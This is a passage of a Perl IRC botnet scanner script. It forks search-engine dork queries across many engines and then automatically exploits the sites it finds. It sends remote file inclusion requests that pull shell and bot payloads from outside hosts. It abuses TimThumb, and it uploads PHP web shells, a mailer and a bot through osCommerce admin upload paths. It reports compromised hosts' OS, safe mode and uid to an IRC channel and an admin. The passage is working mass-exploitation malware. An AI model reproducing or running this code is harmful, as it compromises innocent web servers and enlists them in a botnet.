  1005.         else { if (fork) { exit; } else {
  1006.         &type($chan,$bug,$dork,"YahOoCA",$type);
  1007.         } exit; }
  1008.     }
  1009.     if ($engine =~ /yahooUK/i) {
  1010.         if (my $pid = fork) { waitpid($pid, 0); }
  1011.         else { if (fork) { exit; } else {
  1012.         &type($chan,$bug,$dork,"YahOoUK",$type);
  1013.         } exit; }
  1014.     }
  1015.     if ($engine =~ /yahooDE/i) {
  1016.         if (my $pid = fork) { waitpid($pid, 0); }
  1017.         else { if (fork) { exit; } else {
  1018.         &type($chan,$bug,$dork,"YahOoDE",$type);
  1019.         } exit; }
  1020.     }
  1021.     if ($engine =~ /yahooFR/i) {
  1022.         if (my $pid = fork) { waitpid($pid, 0); }
  1023.         else { if (fork) { exit; } else {
  1024.         &type($chan,$bug,$dork,"YahOoFR",$type);
  1025.         } exit; }
  1026.     }
  1027.     if ($engine =~ /yahooES/i) {
  1028.         if (my $pid = fork) { waitpid($pid, 0); }
  1029.         else { if (fork) { exit; } else {
  1030.         &type($chan,$bug,$dork,"YahOoES",$type);
  1031.         } exit; }
  1032.     }
  1033.     if ($engine =~ /yahooIT/i) {
  1034.         if (my $pid = fork) { waitpid($pid, 0); }
  1035.         else { if (fork) { exit; } else {
  1036.         &type($chan,$bug,$dork,"YahOoIT",$type);
  1037.         } exit; }
  1038.     }
  1039.     if ($engine =~ /yahooHK/i) {
  1040.         if (my $pid = fork) { waitpid($pid, 0); }
  1041.         else { if (fork) { exit; } else {
  1042.         &type($chan,$bug,$dork,"YahOoHK",$type);
  1043.         } exit; }
  1044.     }
  1045.     if ($engine =~ /yahooID/i) {
  1046.         if (my $pid = fork) { waitpid($pid, 0); }
  1047.         else { if (fork) { exit; } else {
  1048.         &type($chan,$bug,$dork,"YahOoID",$type);
  1049.         } exit; }
  1050.     }
  1051.     if ($engine =~ /yahooIN/i) {
  1052.         if (my $pid = fork) { waitpid($pid, 0); }
  1053.         else { if (fork) { exit; } else {
  1054.         &type($chan,$bug,$dork,"YahOoIN",$type);
  1055.         } exit; }
  1056.     }
  1057.     if ($engine =~ /yahooAU/i) {
  1058.         if (my $pid = fork) { waitpid($pid, 0); }
  1059.         else { if (fork) { exit; } else {
  1060.         &type($chan,$bug,$dork,"YahOoAU",$type);
  1061.         } exit; }
  1062.     }
  1063.     if ($engine =~ /yahooMX/i) {
  1064.         if (my $pid = fork) { waitpid($pid, 0); }
  1065.         else { if (fork) { exit; } else {
  1066.         &type($chan,$bug,$dork,"YahOoMX",$type);
  1067.         } exit; }
  1068.     }
  1069.     if ($engine =~ /yahooTW/i) {
  1070.         if (my $pid = fork) { waitpid($pid, 0); }
  1071.         else { if (fork) { exit; } else {
  1072.         &type($chan,$bug,$dork,"YahOoTW",$type);
  1073.         } exit; }
  1074.     }
  1075.     if ($engine =~ /yahooBR/i) {
  1076.         if (my $pid = fork) { waitpid($pid, 0); }
  1077.         else { if (fork) { exit; } else {
  1078.         &type($chan,$bug,$dork,"YahOoBR",$type);
  1079.         } exit; }
  1080.     }
  1081.     if ($engine =~ /yahooAR/i) {
  1082.         if (my $pid = fork) { waitpid($pid, 0); }
  1083.         else { if (fork) { exit; } else {
  1084.         &type($chan,$bug,$dork,"YahOoAR",$type);
  1085.         } exit; }
  1086.     }
  1087.     if ($engine =~ /yahooNL/i) {
  1088.         if (my $pid = fork) { waitpid($pid, 0); }
  1089.         else { if (fork) { exit; } else {
  1090.         &type($chan,$bug,$dork,"YahOoNL",$type);
  1091.         } exit; }
  1092.     }
  1093.     if ($engine =~ /yahooDK/i) {
  1094.         if (my $pid = fork) { waitpid($pid, 0); }
  1095.         else { if (fork) { exit; } else {
  1096.         &type($chan,$bug,$dork,"YahOoDK",$type);
  1097.         } exit; }
  1098.     }
  1099.     if ($engine =~ /yahooPH/i) {
  1100.         if (my $pid = fork) { waitpid($pid, 0); }
  1101.         else { if (fork) { exit; } else {
  1102.         &type($chan,$bug,$dork,"YahOoPH",$type);
  1103.         } exit; }
  1104.     }
  1105.     if ($engine =~ /yahooCL/i) {
  1106.         if (my $pid = fork) { waitpid($pid, 0); }
  1107.         else { if (fork) { exit; } else {
  1108.         &type($chan,$bug,$dork,"YahOoCL",$type);
  1109.         } exit; }
  1110.     }
  1111.     if ($engine =~ /yahooRU/i) {
  1112.         if (my $pid = fork) { waitpid($pid, 0); }
  1113.         else { if (fork) { exit; } else {
  1114.         &type($chan,$bug,$dork,"YahOoRU",$type);
  1115.         } exit; }
  1116.     }
  1117.     if ($engine =~ /yahooCH/i) {
  1118.         if (my $pid = fork) { waitpid($pid, 0); }
  1119.         else { if (fork) { exit; } else {
  1120.         &type($chan,$bug,$dork,"YahOoCH",$type);
  1121.         } exit; }
  1122.     }
  1123.     if ($engine =~ /yahooCO/i) {
  1124.         if (my $pid = fork) { waitpid($pid, 0); }
  1125.         else { if (fork) { exit; } else {
  1126.         &type($chan,$bug,$dork,"YahOoCO",$type);
  1127.         } exit; }
  1128.     }
  1129.     if ($engine =~ /yahooFI/i) {
  1130.         if (my $pid = fork) { waitpid($pid, 0); }
  1131.         else { if (fork) { exit; } else {
  1132.         &type($chan,$bug,$dork,"YahOoFI",$type);
  1133.         } exit; }
  1134.     }
  1135.     if ($engine =~ /yahooRO/i) {
  1136.         if (my $pid = fork) { waitpid($pid, 0); }
  1137.         else { if (fork) { exit; } else {
  1138.         &type($chan,$bug,$dork,"YahOoRO",$type);
  1139.         } exit; }
  1140.     }
  1141.     if ($engine =~ /yahooVE/i) {
  1142.         if (my $pid = fork) { waitpid($pid, 0); }
  1143.         else { if (fork) { exit; } else {
  1144.         &type($chan,$bug,$dork,"YahOoVE",$type);
  1145.         } exit; }
  1146.     }
  1147.     if ($engine =~ /yahooAT/i) {
  1148.         if (my $pid = fork) { waitpid($pid, 0); }
  1149.         else { if (fork) { exit; } else {
  1150.         &type($chan,$bug,$dork,"YahOoAT",$type);
  1151.         } exit; }
  1152.     }
  1153.     if ($engine =~ /yahooPL/i) {
  1154.         if (my $pid = fork) { waitpid($pid, 0); }
  1155.         else { if (fork) { exit; } else {
  1156.         &type($chan,$bug,$dork,"YahOoPL",$type);
  1157.         } exit; }
  1158.     }
  1159.     if ($engine =~ /yahooKR/i) {
  1160.         if (my $pid = fork) { waitpid($pid, 0); }
  1161.         else { if (fork) { exit; } else {
  1162.         &type($chan,$bug,$dork,"YahOoKR",$type);
  1163.         } exit; }
  1164.     }
  1165.     if ($engine =~ /yahooNZ/i) {
  1166.         if (my $pid = fork) { waitpid($pid, 0); }
  1167.         else { if (fork) { exit; } else {
  1168.         &type($chan,$bug,$dork,"YahOoNZ",$type);
  1169.         } exit; }
  1170.     }
  1171.     if ($engine =~ /yahooGR/i) {
  1172.         if (my $pid = fork) { waitpid($pid, 0); }
  1173.         else { if (fork) { exit; } else {
  1174.         &type($chan,$bug,$dork,"YahOoGR",$type);
  1175.         } exit; }
  1176.     }
  1177.     if ($engine =~ /yahooPE/i) {
  1178.         if (my $pid = fork) { waitpid($pid, 0); }
  1179.         else { if (fork) { exit; } else {
  1180.         &type($chan,$bug,$dork,"YahOoPE",$type);
  1181.         } exit; }
  1182.     }
  1183.     if ($engine =~ /rediff/i) {
  1184.         if (my $pid = fork) { waitpid($pid, 0); }
  1185.         else { if (fork) { exit; } else {
  1186.         &type($chan,$bug,$dork,"ReDiff",$type);
  1187.         } exit; }
  1188.     }
  1189.         if ($engine =~ /bypass/i) {
  1190.         if (my $pid = fork) { waitpid($pid, 0); }
  1191.         else { if (fork) { exit; } else {
  1192.         &type($chan,$bug,$dork,"ByPass",$type);
  1193.         } exit; }
  1194.     }
  1195.     if ($engine =~ /webde/i) {
  1196.         if ($pid = fork) { waitpid($pid, 0); }
  1197.         else { if (fork) { exit; } else {
  1198.         &type($chan,$bug,$dork,"WebDe",$type);
  1199.         } exit; }
  1200.     }
  1201.     if ($engine =~ /sapo/i) {
  1202.         if ($pid = fork) { waitpid($pid, 0); }
  1203.         else { if (fork) { exit; } else {
  1204.         &type($chan,$bug,$dork,"SaPo",$type);
  1205.         } exit; }
  1206.     }
  1207.     if ($engine =~ /seznam/i) {
  1208.         if ($pid = fork) { waitpid($pid, 0); }
  1209.         else { if (fork) { exit; } else {
  1210.         &type($chan,$bug,$dork,"SeZnaM",$type);
  1211.         } exit; }
  1212.     }
  1213.     if ($engine =~ /onet/i) {
  1214.         if (my $pid = fork) { waitpid($pid, 0); }
  1215.         else { if (fork) { exit; } else {
  1216.                 &type($chan,$bug,$dork,"Onet",$type);
  1217.         } exit; }
  1218.     }
  1219.     if ($engine =~ /gigablast/i) {
  1220.         if (my $pid = fork) { waitpid($pid, 0); }
  1221.         else { if (fork) { exit; } else {
  1222.                 &type($chan,$bug,$dork,"GiGaBLasT",$type);
  1223.         } exit; }
  1224.     }
  1225.     if ($engine =~ /biglobe/i) {
  1226.         if (my $pid = fork) { waitpid($pid, 0); }
  1227.         else { if (fork) { exit; } else {
  1228.                 &type($chan,$bug,$dork,"BigLobe",$type);
  1229.         } exit; }
  1230.     }
  1231.     if ($engine =~ /aol/i) {
  1232.         if (my $pid = fork) { waitpid($pid, 0); }
  1233.         else { if (fork) { exit; } else {
  1234.                 &type($chan,$bug,$dork,"AoL",$type);
  1235.         } exit; }
  1236.     }
  1237.     if ($engine =~ /interia/i) {
  1238.         if (my $pid = fork) { waitpid($pid, 0); }
  1239.         else { if (fork) { exit; } else {
  1240.                 &type($chan,$bug,$dork,"Interia",$type);
  1241.         } exit; }
  1242.     }
  1243.     if ($engine =~ /ricerca/i) {
  1244.         if (my $pid = fork) { waitpid($pid, 0); }
  1245.         else { if (fork) { exit; } else {
  1246.                 &type($chan,$bug,$dork,"RicerCa",$type);
  1247.         } exit; }
  1248.     }
  1249.     if ($engine =~ /pagina/i) {
  1250.         if (my $pid = fork) { waitpid($pid, 0); }
  1251.         else { if (fork) { exit; } else {
  1252.                 &type($chan,$bug,$dork,"PaGina",$type);
  1253.         } exit; }
  1254.     }
  1255.     if ($engine =~ /alltheweb/i) {
  1256.         if (my $pid = fork) { waitpid($pid, 0); }
  1257.         else { if (fork) { exit; } else {
  1258.         &type($chan,$bug,$dork,"AllTheWeb",$type);
  1259.         } exit; }
  1260.     }
  1261.     if ($engine =~ /altavista/i) {
  1262.         if ($pid = fork) { waitpid($pid, 0); }
  1263.         else { if (fork) { exit; } else {
  1264.                 &type($chan,$bug,$dork,"ALtaViSTa",$type);
  1265.         } exit; }
  1266.     }
  1267.        
  1268.      if ($engine =~ /virgilio/i) {
  1269.         if ($pid = fork) { waitpid($pid, 0); }
  1270.         else { if (fork) { exit; } else {
  1271.                 &type($chan,$bug,$dork,"VirgiLio",$type);
  1272.         } exit; }
  1273.     }
  1274.  
  1275.     if ($engine =~ /lycos/i) {
  1276.         if ($pid = fork) { waitpid($pid, 0); }
  1277.         else { if (fork) { exit; } else {
  1278.                 &type($chan,$bug,$dork,"LyCos",$type);
  1279.         } exit; }
  1280.     }
  1281.  
  1282.     if ($engine =~ /hotbot/i) {
  1283.         if ($pid = fork) { waitpid($pid, 0); }
  1284.         else { if (fork) { exit; } else {
  1285.                 &type($chan,$bug,$dork,"HotBot",$type);
  1286.         } exit; }
  1287.     }
  1288.  
  1289.         if ($engine =~ /tiscali/i) {
  1290.         if ($pid = fork) { waitpid($pid, 0); }
  1291.         else { if (fork) { exit; } else {
  1292.                 &type($chan,$bug,$dork,"TisCali",$type);
  1293.         } exit; }
  1294.     }
  1295.  
  1296.         if ($engine =~ /naver/i) {
  1297.         if ($pid = fork) { waitpid($pid, 0); }
  1298.         else { if (fork) { exit; } else {
  1299.                 &type($chan,$bug,$dork,"NaVeR",$type);
  1300.         } exit; }
  1301.     }
  1302.     if ($engine =~ /dancefloor/i) {
  1303.         if ($pid = fork) { waitpid($pid, 0); }
  1304.         else { if (fork) { exit; } else {
  1305.                 &type($chan,$bug,$dork,"dancefloor",$type);
  1306.         } exit; }
  1307.     }
  1308.     if ($engine =~ /live/i) {
  1309.         if ($pid = fork) { waitpid($pid, 0); }
  1310.         else { if (fork) { exit; } else {
  1311.                 &type($chan,$bug,$dork,"live",$type);
  1312.         } exit; }
  1313.     }
  1314.        
  1315.         if ($engine =~ /rakuten/i) {
  1316.         if ($pid = fork) { waitpid($pid, 0); }
  1317.         else { if (fork) { exit; } else {
  1318.                 &type($chan,$bug,$dork,"rakuten",$type);
  1319.         } exit; }
  1320.     }
  1321.     if ($engine =~ /nova/i) {
  1322.         if ($pid = fork) { waitpid($pid, 0); }
  1323.         else { if (fork) { exit; } else {
  1324.                 &type($chan,$bug,$dork,"nova",$type);
  1325.         } exit; }
  1326.     }
  1327.        
  1328.         if ($engine =~ /najdi/i) {
  1329.         if ($pid = fork) { waitpid($pid, 0); }
  1330.         else { if (fork) { exit; } else {
  1331.                 &type($chan,$bug,$dork,"najdi",$type);
  1332.         } exit; }
  1333.     }
  1334.        
  1335.         if ($engine =~ /goo/i) {
  1336.         if ($pid = fork) { waitpid($pid, 0); }
  1337.         else { if (fork) { exit; } else {
  1338.                 &type($chan,$bug,$dork,"goo",$type);
  1339.         } exit; }
  1340.     }
  1341.        
  1342.         if ($engine =~ /uksubmit/i) {
  1343.         if ($pid = fork) { waitpid($pid, 0); }
  1344.         else { if (fork) { exit; } else {
  1345.                 &type($chan,$bug,$dork,"uksubmit",$type);
  1346.         } exit; }
  1347.     }
  1348.        
  1349.         if ($engine =~ /excite/i) {
  1350.         if ($pid = fork) { waitpid($pid, 0); }
  1351.         else { if (fork) { exit; } else {
  1352.                 &type($chan,$bug,$dork,"excite",$type);
  1353.         } exit; }
  1354.     }
  1355.    
  1356. }
  1357. }
  1358. ######################################### ADDED
  1359. sub rfi() {
  1360.         my $chan = $_[0];
  1361.         my $bug = $_[1];
  1362.         my $dork = $_[2];
  1363.         my $engine = $_[3];
  1364.         my $count = 0;
  1365.         my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
  1366.         my $num = scalar(@totexploit);
  1367.         if ($num > 0){
  1368.                 foreach my $site(@totexploit){
  1369.                 $count++;
  1370.                 if ($count == $num-1) { &msg("$chan","$rfilogo15$engine 9Finished 15for 9$dork "); }
  1371.                         my $coba = "http://".$site.$bug.$injector;
  1372.                                 my $test   = "http://".$site.$bug.$injector."??";
  1373.                                 my $dor    = "http://".$site.$bug.$botshell."??";
  1374.                                 my $dor2   = "http://".$site.$bug.$botshell2."??";
  1375.                                 my $cek    = &get_content($coba);sleep(1);
  1376.                                 my $inj    = "http://".$site."12".$bug."3,1$injector?";
  1377.                                 my $re     = &get_content($coba);
  1378.                                 &get_content($dor);sleep(1);
  1379.                                 &get_content($dor2);sleep(1);
  1380.                                 if ($cek =~ /failed to open stream/) {
  1381.                                     ######esta parte solo es para sacar sitios vulnerables mas no las shell####
  1382.                                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1383.                                         &rfi_xpl($test,$chan,$site);
  1384.                                         exit;}
  1385.                                         }
  1386.                                 }
  1387.                         #aqui vemos si existe GENOL, si es asi, es vulnerable a phpshell
  1388.                         if($re =~ /PLaToShell/i){
  1389.                         &msg("$admin","$rfilogo(3,1@9Shell4,1)3,1 $inj 9   ");
  1390.                         &msg("$chan","$rfilogo(3,1@9Shell4,1)3,1 $inj 9   ");
  1391.                         }
  1392.                        
  1393.                 }
  1394.         }
  1395. }
  1396. sub rfi_xpl() {
  1397. my $url    = $_[0];
  1398. my $chan   = $_[1];
  1399. my $site   = $_[2];
  1400. my $dor  = $url.$botshell."??";
  1401. my $dor2  = $url.$botshell2."??";
  1402. my $test = $url.$injector."??";
  1403. my $vuln = $url."4,1(0,1PLaTo4,1)";
  1404. my $check = &get_content($test);
  1405.             &get_content($dor);sleep(1);
  1406.             if ( $check =~ /PLaToShell/i ) {
  1407.         my $safe   ="";
  1408.         my $os     ="";
  1409.         my $free   ="";
  1410.     if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1411.     if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1412.     if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  1413.     if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1414.                 &msg("$chan","$rfilogo4,1(3,1@12,1VuLn4,1)13 ".$vuln."4,1(3,1@12,1SafeMode= $safe4,1)(3,1@12,1OS= $os4,1)(3,1@12,1FreeSpace= $free4,1)(3,1@12,1safemode-off4,1)");
  1415.                 &msg("$admin","$rfilogo4,1(3,1@12,1VuLn4,1)3,1 ".$vuln."4,1(4@12,1SafeMode= $safe4,1)(3,1@12,1OS= $os4,1)(3,1@12,1FreeSpace= $free4,1)");
  1416.                 }
  1417.                 #else {&msg("$chan","$rfilogo4,1(3,1@12,1VuLn4,1)12 ".$vuln." 4,1(3,1@12,1safemode-on4,1)");}
  1418. }
  1419. #########################################
  1420.  
  1421. sub thumb() {
  1422.     my $chan = $_[0];
  1423.     my $bug = $_[1];
  1424.     my $dork = $_[2];
  1425.     my $engine = $_[3];
  1426.     my $count = 0;
  1427.     my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  1428.     my $num = scalar(@list);
  1429.     if ($num > 0) {
  1430.         foreach my $site (@list) {
  1431.             $count++;
  1432.                         my $vuln = "http://".$site.$bug."?src=".$thumbshell;
  1433.                         my $botis = "http://".$site.$bug."?src=".$botid;
  1434.                         my $botxc = "http://".$site.$bug."?src=".$botid;
  1435.                                 my @nbug = split(/\//,$bug);
  1436.                                 my $cek  = &get_content($vuln);
  1437.                                 if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1438.                                 if ($cek =~ /Unable to open image(.*?)$nbug[0](.*?)$md5php/i){
  1439.                                         &msg("$chan","$thumblogo 15,1$engine 159C3o9L3i9 D3u9L3U 4http://$site ");
  1440.                                         my $pdir = $2;
  1441.                                         if ($cacheMode1 == 1) { &get_content($botis); &get_content($botxc);sleep(1); }
  1442.                                         my $crut = "http://".$site.$nbug[0].$pdir.$md5php;
  1443.                                         my $botc = "http://".$site.$nbug[0].$pdir.$md5bot;
  1444.                                         my $botpc = "http://".$site.$nbug[0].$pdir.$md5bot;
  1445.                                         my $npath = "http://".$site."wp-includes/wp-script.php";
  1446.                                         my $check = &get_content($crut."?clone");sleep(1);
  1447.                                         if ($check =~ /GIF89/i){
  1448.                                                 my $safe = ""; my $os = ""; my $uid = "";
  1449.                                                 if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  1450.                                                 if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1451.                                                 if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1452.                                                 my $crot = &get_content($npath);sleep(1);
  1453.                                                 if ($crot =~ /GIF89/i){
  1454.                                                         &msg("$admin","$thumblogo 15,1$engine 4<9=4> 2C1 12O 2L1 12I 4<9=4>9 ".$npath."4 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1455.                                                         &msg("$chan","$thumblogo 15,1$engine 4<9=4> 2C1 12O 2L1 12I 4<9=4>9 ".$npath."4 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1456.                                                 } else {
  1457.                                                         &msg("$admin","$thumblogo 15,1$engine 4<9=4> 9H3A9S3I9L1 3C9O3L9I1 3K9A3N9G1 4<9=4>9 ".$crut."4 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1458.                                                         &msg("$chan","$thumblogo 15,1$engine 4<9=4> 9H3A9S3I9L1 3C9O3L9I1 3K9A3N9G1 4<9=4>9 ".$crut."4 (SafeMode=$safe) (OS=$os) uid=$uid ");
  1459.                                                 }
  1460.                                                 &get_content($botc);sleep(1);
  1461.                                                 &get_content($botpc);sleep(1);
  1462.                                         }
  1463.                                 }
  1464.                         } exit; }
  1465.         if ($count == $num-1) { &msg("$chan","$thumblogo 15$engine 4COLI SELESAI 4for 4$dork "); }
  1466.         }
  1467.     }
  1468. }
  1469. #########################################
  1470. sub osco() {
  1471.         my $chan = $_[0];
  1472.         my $bug = $_[1];
  1473.         my $dork = $_[2];
  1474.         my $engine = $_[3];
  1475.         my $count = 0;
  1476.         my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1477.         my $num = scalar(@totexploit);
  1478.         if ($num > 0){
  1479.                 foreach my $site(@totexploit){
  1480.                 $count++;
  1481.                 if ($count == $num-1) { &msg("$chan","$oscologo15$engine 9Finished 15for 9$dork "); }
  1482.                         my $test = "http://".$site.$bug;
  1483.             my $test1 = "http://".$site."admin/file_manager.php/login.php";
  1484.             my $test2 = "http://".$site."admin/banner_manager.php/login.php";
  1485.             my $html = &get_content($test);
  1486.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1487.             if ($html =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/ ) {
  1488.                 &msg("$chan","$oscologo(4@12$engine0,1,1)0,1,1(4@9System0,1,1)3,1 ".$test);
  1489.                                 &osco_xpl($test,$chan,$site,$engine);
  1490.                                 &osco2($test1,$chan,$bug,$dork,$engine);
  1491.                                 &osco_xpl3($test2,$chan,$site,$engine);
  1492.                                 &osql($chan,$site,$engine);
  1493.                                 } else { }
  1494.             } exit; sleep(2); }
  1495.         }
  1496.     }
  1497. }
  1498.  
  1499. sub osco_xpl() {
  1500. my $browser = LWP::UserAgent->new;
  1501. my $url    = $_[0]."?cPath=&action=new_product_preview";
  1502. my $chan   = $_[1];
  1503. my $site   = $_[2];
  1504. my $engine = $_[3];
  1505. my $res = $browser->post( $url,['products_image' => ['./manis.jpg' => 'manis.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1506. my $resa = $browser->post( $url,['products_image' => ['./asem.jpg' => 'asem.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1507. my $resb = $browser->post( $url,['products_image' => ['./pahit.jpg' => 'pahit.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1508.         my $hasil = $res->as_string;
  1509.         my $hasil1 = $resa->as_string;
  1510.         my $hasil2 = $resb->as_string;
  1511.         my $check = &get_content("http://".$site."images/manis.php");&get_content("http://".$site."images/asem.php");&get_content("http://".$site."images/pahit.php");sleep(3);
  1512.         if ($check =~ /PLaToShell/i) {
  1513.         my $safe   ="";
  1514.         my $os     ="";
  1515.         if ($check =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
  1516.     if ($check =~ m/color=#cccccc><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1517.     &msg("$chan","$oscologo(4@12$engine0,1,1)0,1,1(4@9SHeLL0,1,1)3,1 http://".$site."images/4manis.php 9(4@0,1,1SafeMode= $safe9)(4@0,1,1OS= $os9");sleep(2);
  1518.         &msg("$chan","$oscologo(4@12$engine0,1,1)0,1,1(4@9Bot0,1,1)3,1 http://".$site."images/4pahit.php  Botnet Bro !!!");sleep(2);
  1519.         &msg("$admin","$oscologo(4@12$engine0,1,1)0,1,1(4@9SHeLL0,1,1)3,1 http://".$site."images/4manis.php 9(4@0,1,1SafeMode= $safe9)(4@0,1,1OS= $os9");sleep(2);
  1520.         &msg("$admin","$oscologo(4@12$engine0,1,1)0,1,1(4@9MaIler0,1,1)3,1 http://".$site."images/4asem.php");sleep(2);
  1521.         }
  1522. }
  1523.  
  1524. sub osco2() {
  1525.     my $chan = $_[0];
  1526.     my $bug = $_[1];
  1527.     my $dork = $_[2];
  1528.     my $engine = $_[3];
  1529.     my $count = 0;
  1530.     my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1531.     my $num = scalar(@list);
  1532.     if ($num > 0) {
  1533.         foreach my $site (@list) {
  1534.             $count++;
  1535.             if ($count == $num-1) { &msg("$chan","$oscologo(4@12$engine0,1,1)10 Scan finish"); }
  1536.             my $test = "http://".$site.$bug;
  1537.             my $test1 = "http://".$site."admin/banner_manager.php/login.php";
  1538.             my $test2 = "http://".$site."admin/categories.php/login.php";
  1539.             my $html = &get_content($test);
  1540.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1541.             if ($html =~ /TABLE_HEADING_FILENAME/) {
  1542.                 &msg("$chan","$oscologo(4@12$engine0,1,1)0,1,1(4@9System0,1,1)3,1 ".$test);
  1543.                                 &osco_xpl2($test,$chan,$site,$engine);
  1544.                                 &osco_xpl3($test1,$chan,$site,$engine);
  1545.                                 &osco_xpl($test2,$chan,$site,$engine);
  1546.                 &osql($chan,$site,$engine);
  1547.                                 } else { }
  1548.             } exit; sleep(2); }
  1549.         }
  1550.     }
  1551. }
  1552.  
  1553. sub osco_xpl2() {
  1554. my $browser = LWP::UserAgent->new;
  1555. my $url    = $_[0]."?action=processuploads";
  1556. my $chan   = $_[1];
  1557. my $site   = $_[2];
  1558. my $engine = $_[3];
  1559. my $res = $browser->post( $url,['file_1' => ['./manis.jpg' => 'manis.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1560. my $resa = $browser->post( $url,['file_1' => ['./asem.jpg' => 'asem.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1561. my $resb = $browser->post( $url,['file_1' => ['./pahit.jpg' => 'pahit.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1562.         my $hasil = $res->as_string;
  1563.         my $hasil1 = $resa->as_string;
  1564.         my $hasil2 = $resb->as_string;
  1565.         my $check = &get_content("http://".$site."images/manis.php");&get_content("http://".$site."images/asem.php");&get_content("http://".$site."images/pahit.php");sleep(3);
  1566.         if ($check =~ /PLaToShell/i) {
  1567.         my $safe   ="";
  1568.         my $os     ="";
  1569.     if ($check =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
  1570.     if ($check =~ m/color=#cccccc><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1571.     &msg("$chan","$oscologo(4@12$engine0,1,1)0,1,1(4@9SHeLL0,1,1)3,1 http://".$site."images/4manis.php 9(4@0,1,1SafeMode= $safe9)(4@0,1,1OS= $os9");sleep(2);
  1572.         &msg("$chan","$oscologo(4@12$engine0,1,1)0,1,1(4@9Bot0,1,1)3,1 http://".$site."images/4pahit.php Botnet Bro !!!");sleep(2);
  1573.         &msg("$admin","$oscologo(4@12$engine0,1,1)0,1,1(4@9SHeLL0,1,1)3,1 http://".$site."images/4manis.php 9(4@0,1,1SafeMode= $safe9)(4@0,1,1OS= $os9");sleep(2);
  1574.         &msg("$admin","$oscologo(4@12$engine0,1,1)0,1,1(4@9MaIler0,1,1)3,1 http://".$site."images/4asem.php");sleep(2);
  1575.         }
  1576. }
  1577.  
  1578. sub osco3() {
  1579.     my $chan = $_[0];
  1580.     my $bug = $_[1];
  1581.     my $dork = $_[2];
  1582.     my $engine = $_[3];
  1583.     my $count = 0;
  1584.     my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1585.     my $num = scalar(@list);
  1586.     if ($num > 0) {
  1587.         foreach my $site (@list) {
  1588.             $count++;
  1589.             if ($count == $num-1) { &msg("$chan","$oscologo(4@12$engine0,1,1)10 Scan finish"); }
  1590.             my $test = "http://".$site.$bug;
  1591.             my $test1 = "http://".$site."admin/file_manager.php/login.php";
  1592.             my $test2 = "http://".$site."admin/categories.php/login.php";
  1593.             my $html = &get_content($test);
  1594.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1595.             if ($html =~ /TABLE_HEADING_BANNERS/) {
  1596.                 &msg("$chan","$oscologo(4@12$engine0,1,1)0,1,1(4@9System0,1,1)3,1 ".$test);
  1597.                                 &osco_xpl3($test,$chan,$site,$engine);
  1598.                                 &osco_xpl2($test1,$chan,$site,$engine);
  1599.                                 &osco_xpl($test2,$chan,$site,$engine);
  1600.                 &osql($chan,$site,$engine);
  1601.                                 } else { }
  1602.             } exit; sleep(2); }
  1603.         }
  1604.     }
  1605. }
  1606.  
  1607. sub osco_xpl3() {
  1608. my $browser = LWP::UserAgent->new;
  1609. my $url    = $_[0]."?action=insert";
  1610. my $chan   = $_[1];
  1611. my $site   = $_[2];
  1612. my $engine = $_[3];
  1613. my $res = $browser->post( $url,['banners_image' => ['./manis.jpg' => 'manis.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1614. my $resa = $browser->post( $url,['banners_image' => ['./asem.jpg' => 'asem.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1615. my $resb = $browser->post( $url,['banners_image' => ['./pahit.jpg' => 'pahit.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1616.         my $hasil = $res->as_string;
  1617.         my $hasil1 = $resa->as_string;
  1618.         my $hasil2 = $resb->as_string;
  1619.         my $check = &get_content("http://".$site."images/manis.php");&get_content("http://".$site."images/asem.php");&get_content("http://".$site."images/pahit.php");sleep(3);
  1620.         if ($check =~ /PLaToShell/i) {
  1621.         my $safe   ="";
  1622.         my $os     ="";
  1623.     if ($check =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
  1624.     if ($check =~ m/color=#cccccc><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1625.     &msg("$chan","$oscologo(4@12$engine0,1,1)0,1,1(4@9SHeLL0,1,1)3,1 http://".$site."images/4manis.php 9(4@0,1,1SafeMode= $safe9)(4@0,1,1OS= $os9");sleep(2);
  1626.         &msg("$chan","$oscologo(4@12$engine0,1,1)0,1,1(4@9Bot0,1,1)3,1 http://".$site."images/4pahit.php Botnet Bro !!!");sleep(2);
